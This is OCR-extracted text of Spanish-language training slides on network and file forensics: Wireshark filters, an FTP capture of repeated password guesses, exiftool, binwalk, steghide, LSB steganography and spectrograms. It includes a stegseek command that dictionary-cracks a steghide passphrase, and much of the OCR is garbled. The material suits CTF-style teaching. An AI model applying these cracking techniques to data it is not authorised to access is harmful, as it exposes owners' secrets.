34 4.496465 65.208.228.223 14  TFTP.. . TCP
35 4.496465 145.254.160.2.. 65.208.228.223 TCP
38 4.846969 65.208.228.223 145.254.160.2.. HTTP/XML

395.017214 145.254.160.2.. 65.208.228.223 TCP
40 17.905747 65.208.228.223 145.254.160.2.. TCP
41 17.905747 145.254.160.2.. 65.208.228.223 TCP

Ivan Garcia e Ignacio Sanchez
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Packet = Hostname

54
132
163
177
198
212
226
1858
1904
1955
1972
2109
2136
2139
2280
2390
2545
2560
2689
2728
2743
2784
2893
2990
3060
3066
3145
1

www.msftncsi.com
api.bing.com
api.bing.com
api.bing.com
api.bing.com
google.com
www.google.com
www.google.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
platform.linkedin.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com
www.bluproducts.com

s.amazon-adsystem.com

www.bluproducts.com

EX

bort ob

Content Type

text/plain

text/htmil

text/htmil

text/htmil

text/htmil

text/htmil

text/htmil

text/htmil

text/htmil

text/css

textfcss

textfcss
application/x-javascript
application/x-javascript
application/x-javascript
application/x-javascript
application/x-javascript
application/x-javascript
application/x-javascript
textfjavascript

textfcss
application/x-javascript
image/png

image/png

image/png

image/gif

image/png

ects

Size

14 bytes
1,305 bytes
1,346 bytes
1,369 bytes
1,398 bytes
219 bytes
231 bytes
1,058 bytes
19 kB
7.321 bytes
331 bytes
63 kB
4,707 bytes
657 bytes
20 kB

18 kB

95 kB

93 kB
4,784 bytes
3,768 bytes
132 kB

22 kB

19 kB

22 kB

44 kB

43 bytes

19 kB

Filename

ncsi.txt
gsml.aspx?gue
gsml.aspx?gus
gsml.aspx?qus
gsml.aspx?gue
/
/
url?sa=t&rct=
/
default_iceme
default_notjs.c
widgetkit-2411
core-816dedc!
caption-5e0b3
widgetkit-34c2
cufon-yui-1d11
mootools-core
jquery-Tae67c
core.js
in.js
template-897f
template-3f20
facebook.png
Twitter.png
googleplus.pn
iui3?d=3p-hbc
mail.png

3

Y

-

Text Filter: “

Help

Save All

Close Save

Ivan Garcia e Ignacio Sanchez
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Filtros de Wireshark

Podemos filtrar los paquetes en base a diferentes campos:

Direcciones IP Protocolos Operadores 47
* |P: ip.addr == 10.10.50.1 ° tcp * and o &&
* Oirigen: ip.src ==10.10.50.1 * udp * oroll
* Destino:ip.dest == 10.10.50.1 * dns * xor o/
e Subred: ip.addr == 10.10.50.1/24 * http °* noto!
« ftp
Texto

* Edit — Find packet — String

Ivan Garcia e Ignacio Sanchez
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Ejemplo

| | ftp.request && ip.src == 192.168.0.147

No. Time Source Destination Protocol Length Info
241 4.035759.. 192.168.0.147 192.168.0.115 FTP 78 Request: USER jenny
269 4.043289.. 192.168.0.147 192.168.0.115 FTP 78 Request: USER jenny
273 4.108928.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS football
274 4,121641.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS 000000
2754.,121775.. 192.168.0.147 192.168.0.115 FTP 83 Request: PASS 1234567890
276 4.133276.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS computer
277 4.139140.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS superman
278 4.140089.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS internet
279 4.141101.. 192.168.0.147 192.168.0.115 FTP 84 Request: PASS passwordl23
280 4.141239.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS lgazZwsx
281 4.143016.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS monkey
282 4.143070.. 192.168.0.147 192.168.0.115 FTP 80 Request: PASS michael
283 4.143117.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS shadow

Hemos usado dos filtros concatenados con (&&)

|. ftp.request =» Nos muestra todas las "request” del protocolo ftp
Il. Ip.src == 192.168.0.147 =» Nos muestra todos los paquetes que vienen de la IP "192.168.0.147"

Ivan Garcia e Ignacio Sanchez
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{Que es la esteganografia?

La esteganografia es la practica de | , | [122]i26]127
ocultar mensajes u objetos dentro .

de otros, por ejemplo, ocultar un
mensaje de texto dentro de una
imagen

Ivan Garcia e Ignacio Sanchez
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;Que son los metadatos?

"Datos sobre datos"

Dan informacion como la calidad, el
contenido o la fecha de modificacion
de un archivo. En ellos podemos
encontrar informacion importante.

AOXN Y
s-""“« EN ka a’y

C
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Exiftool

Podemos utilizar esta herramienta para ver los

» exiftool imagen de prueba.jpg
ExifTool Version Number : 12.40

File Name : 1magen de prueba.jpg

: 334 KiB
Modification Date/Time : 2023:10:11 21:38:554+02:00
Access Date/Time : 2023:10:11 21:38:55+02:00
Inode Change Date/Time : 2023:10:11 21:38:55+02:00
Permissions C -TW-r--r--
Type : JPEG
Type Extension . JPY
Type : 1mage/jpeg

Version : 1.01

Resolution Unit : None

X Resolution 1

Y Resolution 1

Image Width : 1366

Image Height : 1018

Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8

Color Components : 3

Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 1366x1018
Megapixels . 1.4

https://exiftool.org/install.html lvan Garcia e Ignacio Sanchez
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Binwalk
Detecta y extrae archivos que se

encuentran ocultos dentro de otros

[j—(kaliQBkali)-[~/Downloads/reto]
$ binwalk -D ".*" PurpleThing.jpeg

HEXADECIMAL DESCRIPTION

PNG image, 780 x 720, 8-bit/color RGBA, non-interlaced
0x29 Zlib compressed data, best compression
Ox25795 PNG image, 802 x 118, 8-bit/color RGBA, non-interlaced

[j—(kaliQEKali)-[~/Downloads/reto]
$ tree

— PurpleThing. jpeg

— PurpleThing. jpeg.extracted
0

25795

29

29-0

2 directories, 5 files

\,\ https://github.com/ReFirmLabs/binwalk lvan Garcia e Ignacio Sanchez
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L—$(l1<ali® kali)- [~/Downloads/reto] Steghide
S

texto.txt th-2669789895. jpeg

[:—(kali@Bkali)-[~/Downloads/reto]
$

steghide embed -ef texto.txt -cf th-2669789895.jpeg -N ) )
Enter passphrase: Nos permite ocultar archivos dentro de

Re-Enter passphrase:

L . 248 una imagen .jpg utilizando una contrasena
embedding "texto.txt" in "th-2669789895.jpeg"... done

https://steghide.sourceforge.net/ Ivan Garcia e Ignacio Sanchez
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Stegseek

Realiza un ataque de diccionario para
encontrar la contrasena de la herramienta
steghide en imagenes .jpg

[:—(kaliGBKali)-[~/Downloads/reto]
$ stegseek --crack -sf th-2669789895.jpeg -wl /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/Rickdelager/StegSeek

[1] Found passphrase: "1234"
[i] Extracting to "th-2669789895. jpeg.out".

[j—(kaliEBKali)—[~/Downloads/reto]
$ ls
th-2669789895.jpeg th-2669789895.jpeg.out

https://github.com/ Rickdejager/stegseek Ivan Garcia e Ignacio Sanchez
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Original Image

11111111
00000000
00000000

Stego-Isb

11111111
11111111
00000000

Nos permite extraer informacion que esta
oculta en los bits menos significativos de
cada pixel de una imagen o video.

Stego Image

11111101
00000010
00000000

11111100
11111101
00000001

https://pypi.org/project/stego-Isb/

00000000
00000000
11111111

00000011
00000001
00000010

00000011
00000001
11111160

Least Significant Bit
Steganography

C

01100011

a 8

01100001 011160100

Ivan Garcia e Ignacio Sanchez
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Archivos de audio/video I Ll

Rl ”» (5

Ples|k 4L 57 48 42 36 30 24 -18 129630 | P G o -
B oo & ALA /,1. - i ALSA > | default: Headphone Mic: = | 2 (Stereo) i = | 40 | default
1:5‘9.0 I:OQ.D 2:0.1.0 2:0.2.0 2:0.3.0 Z:OIQ.O 2:05.0 2:06.0 2:0‘7.0

En ocasiones es util ver el espectograma
de los archivos de audio y video en busca
de informacion extra

Audac |t)’ Ivan Garcia e Ignacio Sanchez
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